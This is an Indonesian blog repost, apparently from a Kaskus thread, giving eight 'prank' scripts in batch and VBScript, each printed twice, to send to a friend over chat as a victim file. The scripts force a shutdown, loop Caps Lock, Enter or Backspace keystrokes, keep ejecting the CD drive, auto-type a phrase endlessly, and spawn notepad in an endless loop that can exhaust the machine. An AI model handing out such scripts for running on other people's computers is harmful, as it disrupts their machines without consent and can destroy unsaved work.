send file bisa via yahoo Messenger, MSN, GoogleTalk, Skype dan semua fasilitas chat messenger yang mendukung send file
sumber: http://kask.us/gVKSB
Description: [Script] 8 Cara Menjaili Komputer Teman Agan!!
Rating: 4.5
Reviewer: Unknown -
ItemReviewed: [Script] 8 Cara Menjaili Komputer Teman Agan!!
Spoilerfor 1:
syntax ini dibuat dalam notepad:
@echo off
msg * I don't like you
shutdown -c "Error !! Pareuman Buru Kehed !!" -s
Simpan dengan nama file : kampret_1.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN
@echo off
msg * I don't like you
shutdown -c "Error !! Pareuman Buru Kehed !!" -s
Simpan dengan nama file : kampret_1.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN
Spoilerfor 2:
syntax ini dibuat dalam notepad :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : kampret_2.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : kampret_2.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)
Spoilerfor 3:
syntax ini dibuat dalam notepad :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : kampret_3.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : kampret_3.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)
Spoilerfor 4:
syntax ini dibuat dalam notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : kampret_4.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : kampret_4.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
Spoilerfor 5:
syntax ini dibuat dalam notepad :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : kampret_5.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION
kalimat "Hello, how are you? I am good thanks" ,, bisa agan rubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : kampret_5.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION
kalimat "Hello, how are you? I am good thanks" ,, bisa agan rubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas :
Spoilerfor 6:
syntax ini dibuat dalam notepad :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan nama file : kampret_6.VBS ,, type file : All File dan kirimkan
efeknya adalah mirip dengan cara ke 4, syntax yang ini akan menekan tombol BACKSPACE korban terus menerus
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan nama file : kampret_6.VBS ,, type file : All File dan kirimkan
efeknya adalah mirip dengan cara ke 4, syntax yang ini akan menekan tombol BACKSPACE korban terus menerus
Spoilerfor 7:
syntax ini dibuat dalam notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
loop
Simpan dengan nama file : kampret_7.VBS ,, type file : All File dan kirimkan
efeknya adalah, kibord korban akan otomatis menuliskan kalimat "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
secara terus menerus, dalam format pengetikan apapun
"Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!." <<< bisa diganti sesuai selera
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
loop
Simpan dengan nama file : kampret_7.VBS ,, type file : All File dan kirimkan
efeknya adalah, kibord korban akan otomatis menuliskan kalimat "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
secara terus menerus, dalam format pengetikan apapun
"Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!." <<< bisa diganti sesuai selera
Spoilerfor 8:
syntax ini dibuat dalam notepad :
@ECHO off
:top
START %SystemRoot%\system32
notepad.exe
GOTO top
Simpan dengan nama file : kampret_8.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka komputer korban akan menghidupkan perintah notepad.exe terus menerus
@ECHO off
:top
START %SystemRoot%\system32
notepad.exe
GOTO top
Simpan dengan nama file : kampret_8.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka komputer korban akan menghidupkan perintah notepad.exe terus menerus
sumber: http://kask.us/gVKSB
0 Response to "[Script] 8 Cara Menjaili Komputer Teman Agan!! "
Post a Comment